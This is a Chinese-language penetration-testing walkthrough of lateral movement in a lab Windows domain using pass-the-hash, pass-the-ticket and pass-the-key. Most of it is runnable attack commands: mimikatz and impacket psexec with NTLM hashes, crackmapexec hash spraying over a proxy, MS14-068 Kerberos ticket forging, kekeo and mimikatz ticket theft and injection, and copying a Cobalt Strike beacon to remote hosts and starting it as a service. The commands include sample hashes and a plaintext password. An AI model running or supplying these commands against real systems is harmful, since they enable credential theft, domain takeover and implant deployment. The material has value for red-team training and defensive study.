内网渗透之横向移动PTH&PTT&PTK
0x00前言
pass the hash(哈希传递攻击,简称pth)
pass the ticket(票据传递攻击,简称ptt)
pass the key(密钥传递攻击,简称ptk)
PTH(pass the hash) #利用的lm或ntlm的值进行的渗透测试(NTLM认证攻击)
PTK(pass the key) #利用的ekeys aes256进行的渗透测试(NTLM认证攻击)
PTT(pass the ticket) #利用的票据凭证TGT进行渗透测试(Kerberos认证攻击)
当wmi,smb协议被禁用了,可以利用ptt,pth,ptk等方式进行横向移动
复现环境:
god.org
准备:
cs上线 win2008 web
提权(为了抓取hash和明文密码,权限不够抓不到)
抓取hash和明文密码
开启socks服务器(代理服务器ip为cs服务端ip)
代理转发-》转发上线-》绑定监听器-》生成木马-》上传到win2008 web服务器根目录下
0x01横向移动 PTH
注意现在windows大多操作系统使用的密码散列值是NTLM,在老版本win2003,winxp中使用的密码散列值是LM,都是个加密算法
1.mimiakatz(不推荐,弹cmd,能连上rdp时可以使用)
ip不行时就用主机名
连接域用户,导入到了内存中,之后利用票据在进行以下操作
mimikatz sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7
连接本地用户
mimikatz privilege::debug
mimikatz sekurlsa::pth /user:administrator /domain:sqlserver /ntlm:518b98ad4178a53695dc997aa02d455c
net use \\192.168.3.32\c$
copy beacon.exe \\192.168.3.32\c$
sc \\sqlserver create bshell binpath= "c:\4.exe"
sc \\sqlserver start bshell
成功连接
上线成功:
2.impaket-atexec wmiexec smbexec psexec
本地用户
执行命令
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
弹cmd
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
域用户
psexec -hashes :518b98ad4178a53695dc997aa02d455c god/administrator@192.168.3.32
其他命令类似,都可以弹cmd或者执行命令,之后都是从web服务器(192.168.3.31)下载木马并执行木马
3.crackmapexec
使用工具可以判断hash值和用户名是否匹配
#域用户HASH登录
proxychains4 crackmapexec smb 192.168.3.21-32 -u user.txt -H 518b98ad4178a53695dc997aa02d455c
#本地用户HASH登录,-x参数执行命令
proxychains4 crackmapexec smb 192.168.3.21-32 -u user.txt -H 518b98ad4178a53695dc997aa02d455c --local-auth
0x02横向移动 PTT
1.漏洞(ms14-068) 伪造新用户身份
获取SID值:
shell whoami/user
生成票据文件(在本地开代理执行或上传执行都可以,本地执行需要上传票据)
shell ms14-068.exe -u webadmin@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1132 -d 192.168.3.21 -p admin!@#45
清除票据连接
shell klist purge
查看但前票据
shell klist
内存导入票据 (cs自带mimakatz)
mimikatz kerberos::ptc TGT_webadmin@god.org.ccache
查看目标主机目录结构
shell dir \\OWA2010CN-GOD\c$
连接目标上线
shell net use \\OWA2010CN-GOD\C$
copy beacon.exe \\OWA2010CN-GOD\C$
sc \\OWA2010CN-GOD create bindshell binpath= "c:\beacon.exe"
sc \\OWA2010CN-GOD start bindshell
注意直接用ip连时连不上的,需要用计算机名
2.kekeo 利用ntml生成新的票据
主要是看是不是高权限的ntml,这样生成的票据才能够成功
生成票据(在本地开代理执行或上传执行都可以,本地执行需要上传票据)
shell kekeo "tgt::ask /user:Administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7" "exit"
导入票据
shell kekeo "kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "exit"
查看票据(cs自带命令)
shell klist
利用票据连接
shell dir \\owa2010cn-god\c$
3.mimiakatz 利用的历史遗留票据
主要是看域管理员等一些高权限用户是否登陆过,并且票据没有过期,mimikatz抓取密码时权限要高权限用户才能抓取
导出票据
mimikatz sekurlsa::tickets /export
导入票据
mimikatz kerberos::ptt C:\Users\webadmin\Desktop\[0;22d3a]-2-1-40e00000-Administrator@krbtgt-god.org.kirbi
查看票据
shell klist
利用票据连接
shell dir \\owa2010cn-god\c$
0x03横向移动 PTK
利用条件:
当系统安装了KB2871997补丁且禁用了NTLM
抓取aes256的值
mimikatz sekurlsa::ekeys
mimikatz sekurlsa::pth /user:域用户名 /domain:域名 /aes256:aes256值